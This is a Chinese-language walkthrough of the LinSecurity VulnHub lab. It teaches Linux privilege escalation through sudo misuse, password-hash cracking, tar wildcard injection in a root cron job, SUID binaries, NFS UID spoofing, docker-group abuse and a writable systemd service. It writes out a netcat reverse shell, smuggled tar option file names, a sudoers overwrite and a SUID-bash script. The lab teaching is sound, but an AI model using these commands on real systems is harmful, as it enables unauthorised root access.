学习Linux提权知识的靶场
靶场地址:https://www.vulnhub.com/entry/linsecurity-1,244/
低权限用户:bob:secret
此靶场为Linux 配置问题导致提权
靶机设置
修改默认键盘布局
该靶机的默认键盘布局不是美式的,敲击|
会出现~
首先运行命令:sudo awk 'BEGIN {system("/bin/sh")}'
("
布局改变了,多试几个),提升为root用户,方便后面的修改配置文件。
修改配置文件:sudo vim /etc/default/keyboard
,将里面的XKBLAYOUT
变量的值改为us
,然后在文字终端(ctrl+Alt+F2那种)运行:setupcon
配置网卡
Ubuntu 18通过netplan
设置网络。
同上,先提权到root用户。
ifconfig -a
看到有一块ens33
的网卡,但是没有生效。
sudo vim /etc/netplan/50-cloud-init.yaml
:
将enp0s3
改为ens33
,sudo netplan apply
重启网络
简单信息搜集
检测当前用户权限
whoami
id
查看系统的发行版本和内核版本
lsb_release -a
uname -a
查看运行的服务及安装的程序
1. sudo 提权
关于sudo命令:
sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行
要配置sudo,具体是修改/etc/sudoers
提权姿势:
采用sudo -l
这个命令来查看自己是否有sudo配置
拥有sudo的ash
、awk
等权限
find
命令也可提权:find . -exec /bin/sh \; -quit
在线查询sudo的提权命令:https://gtfobins.github.io/
2. /etc/passwd的哈希
linux的用户密码哈希存储在/etc/shadow
文件,普通用户能够查看到的则是/etc/passwd
这个文件
在/etc/passwd
中,比如:root:x:0:0:root:/root:/bin/bash
。账户的第二列是密码哈希,如果该列为x
则代表密码哈希存储在/etc/shadow
文件上
/etc/passwd
普通用户权限能够查看
保存用户信息,每一行代表一个用户,每一行通过冒号:
分为七个部分
- 用户名
- 密码,x表示密码保存在
/etc/shadow
- UID,0代表root
- GID,表示所在组
- 描述信息,依次为
Full Name
、Room Number
、Work Phone
、Home Phone
和Other
- 用户主目录
- 默认shell类型
eg.
test2:x:1001:1001:test2,11111,111111-11,222222-22,test:/home/test2:/bin/bash
- 用户名:test2
- 密码保存在
/etc/shadow
- UID为
1001
- GID为
1001
- 描述信息:
Full Name []: test2 Room Number []: 11111 Work Phone []: 111111-11 Home Phone []: 222222-22 Other []: test
- 用户主目录为
/home/test2
- 默认shell为
/bin/bash
/etc/shadow
只有root用户权限能够查看
保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:
分为九个部分
- 用户名
- 加密后的密码
- 上次修改密码的时间(从1970.1.1开始的总天数)
- 两次修改密码间隔的最少天数,如果为0,则没有限制
- 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
- 提前多少天警告用户密码将过期
- 在密码过期之后多少天禁用此用户
- 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
- 保留
注:
参数说明可通过man shadow
获取
eg.
test2:$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0:17470:0:99999:7:::
- 用户名:test2
- 加密后的密码:
$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0
- 上次修改密码的时间(从1970.1.1开始的总天数为17470)
- 两次修改密码间隔:没有限制
- 两次修改密码间隔最多的天数:没有限制
- 提前7天警告用户密码将过期
- 该用户永久可用
由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id
表示加密算法,1
代表MD5
,5
代表SHA-256
,6
代表SHA-512
salt
为盐值,系统随机生成encrypted
表示密码的hash值
靶机提权演示
查看/etc/passwd
文件:
insecurity
用户,uid
和gid
均为0(root),并且已经显示了密码的hash。
cmd5
尝试破解:
收费,试试somd5
:
进行提权:
破解用户密码hash的常用工具和方法
在线网站查询
工具
John the Ripper 和 hashcat
Kali2.0集成了John the Ripper
和hashcat
https://klionsec.github.io/2017/04/26/use-john/
https://klionsec.github.io/2017/04/26/use-hashcat-crack-hash/
mimipenguin
https://github.com/huntergregal/mimipenguin
原理类似于mimikatz
,通过内存导出明文密码
3. 利用定时任务cron以及通配符
crontab文件格式:
基本格式 :
* * * * * command
分 时 日 月 周 命令
第1列表示分钟1~59 每分钟用*
或者 */1
表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令
eg:
30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重启apache。
45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重启apache。
10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。
查看/etc/crontab的定时任务会产生一些有趣的结果
查看/etc/cron.daily/backup
文件:
这个定时任务的执行权限是root,将用户家目录下的文件备份到/etc/backups/
下,使用通配符*
利用通配符进行Linux本地提权:https://blog.csdn.net/qq_27446553/article/details/80943097
反弹shell:
使用msfvenom
生成nc反弹shell一句话(直接print到终端)
msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
-
-p
:payload -
R
:RAW 原始数据
将次payload写入shell.sh
,并赋予执行权限:(在tar处理的目录下写入shell.sh)
echo "mkfifo /tmp/jvenbd; nc 127.0.0.1 8888 0</tmp/jvenbd | /bin/sh >/tmp/jvenbd 2>&1; rm /tmp/jvenbd" > shell.sh && chmod +x shell.sh
再创建两个文件:--checkpoint-action=exec=sh shell.sh
和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
接着nc -lp 8888 -vv
开启本地监听,等待定时任务的反弹连接:
实际上,定时任务执行的命令为:
tar -zcf /etc/backups/home-bob.tgz *
|
|->
tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
-
--checkpoint-action
选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
因此,选项--checkpoint=1
和 --checkpoint-action=exec=sh shell.sh
作为命令行选项交给了tar程序。
直接修改/etc/sudoers
文件:
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >shell.sh
4. 利用隐藏文件
有时候隐藏文件会存放一些重要的信息,比如我们搜索home目录下的所有隐藏文件,并用ls -al显示出来。
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
-ipath p
, -path p
:路径名称符合 p 的文件,ipath 会忽略大小写
查看该文件,是susan用户的密码:
5. 利用SUID
SUID这个是uid +s
的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755
这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限。
比如说passwd
这个命令,这个命令会修改/etc/shadow
文件,而/etc/shadow
只有root才能修改,本来passwd这个命令应该也只能root才能执行的。但是系统为了让普通用户能够修改自己的密码,对passwd
这个命令赋予了特殊权限并添加了只能修改自己密码的限制。
由于passwd
这个命令是做过限制的,所以赋予特殊权限是没有问题的,但是如果系统超级用户特殊权限乱用,就会导致提权的问题。
使用如下命令快速查找所有SUID文件:
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
命令文件,xxd
的作用是将一个文件以16进制的形式显示出来。他被配置了特殊权限,并且用户组为itservices
是拥有执行权限x的。
一旦suid和执行权限在一起就可能导致权限提升!
通过命令查看发现susan
这个用户属于itservices
这个用户组。
用它来查看/etc/shadow
这个文件,更多利用方法可以参考https://gtfobins.github.io/gtfobins/xxd/
还发现了一个其他用户拥有执行权限的SUID文件,这个文件不限用户,所以危害更大。
参考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled
6. NFS低权限访问
用nmap
扫一下目标靶机,看看开放的服务:
看到开放2049
端口,对应nfs
服务。
NFS(Network File System
)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。
在kali上安装nfs客户端工具:
apt-get install nfs-common
安装完之后,可以使用showmount
命令检索给定主机的导出文件夹列表。
账号peter的家目录可以被挂载:
可以看到,挂载好的peter的家目录,显示的文件的所有者和所属组分别为1001
和1005
尝试在这个家目录里面创建一个文件:
权限不够。
即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者。
可以伪造文件所有者的UID和GID来欺骗NFS服务器,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。
再看看/mnt/peter
下的文件所有者:
但现在还是以客户端的root登录,服务端默认为匿名者。
切换客户端用户为peter
,服务端也认为是存在的用户peter
可以写文件了,如此,可以写入ssh公钥文件(先使用ssh-keygen
生成公私钥对):
首先创建服务器上的.ssh
目录,写入公钥:
使用私钥登录:
7. 利用docker组提权
从上面那张图,看到peter用户
也属于docker组
如果是docker组的成员,那么可以根据此漏洞来获取root的shell
具体参考:https://fosterelli.co/privilege-escalation-via-docker.html
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
可以先配置使用阿里云的镜像
镜像的具体代码可以查看:https://github.com/chrisfosterelli/dockerrootplease
8. systemd配置
systemd是什么
下面的命令用来启动服务。
$ sudo /etc/init.d/apache2 start
# 或者
$ service apache2 start
这种方法有两个缺点。
一是启动时间长。init
进程是串行启动,只有前一个进程启动完,才会启动下一个进程。
二是启动脚本复杂。init
进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。
Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。
使用了 Systemd
,就不需要再用init
了。Systemd
取代了initd
,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。
Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。
-
systemctl
是 Systemd 的主命令,用于管理系统。# 重启系统 $ sudo systemctl reboot # 关闭系统,切断电源 $ sudo systemctl poweroff
-
systemd-analyze
命令用于查看启动耗时。# 查看启动耗时 $ systemd-analyze # 查看每个服务的启动耗时 $ systemd-analyze blame
-
hostnamectl
命令用于查看当前主机的信息。# 显示当前主机的信息 $ hostnamectl # 设置主机名。 $ sudo hostnamectl set-hostname rhel7
靶机提权演示
查看peter
用户的systemd
配置,发现peter
这个用户拥有debug.service
文件,并且他对这个文件拥有读和写的权限。
如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service
文件并更改run()
命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。
查看.service
文件,这里我们可以修改ExecStart
文件,除此之外还可以修改ExecStop
和ExecReload
来在停止和重启服务时执行命令。
查看该.service
文件:
ExecStart
为/root/debug
,这是一个二进制服务并且该服务以root身份运行。
接下来为了利用,使用一个类似ssh可以sudo执行的方法。
让root身份来创建一个systemdexpl.sh脚本,将/bin/bash
文件复制到systemdbash
并设置一个SUID位并且赋予执行权限。
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
-e
参数为显示换行。
修改debug.service
文件来调用我们的脚本(记住root调用debug.service,而debug.service又调用我们的systemdexpl.sh脚本)修改ExecStart
为当前脚本。
而要调用这个服务并且启动,就是重新开启会话(可能重启系统),利用SUID来进行提权。
利用SUID
提权:
同理,root调用debug.service,而debug.service又调用我们的systemdexpl.sh脚本,我们可以将systemdexpl.sh
的内容修改为将公钥写入/root/.ssh
下:
直接以root
用户登录: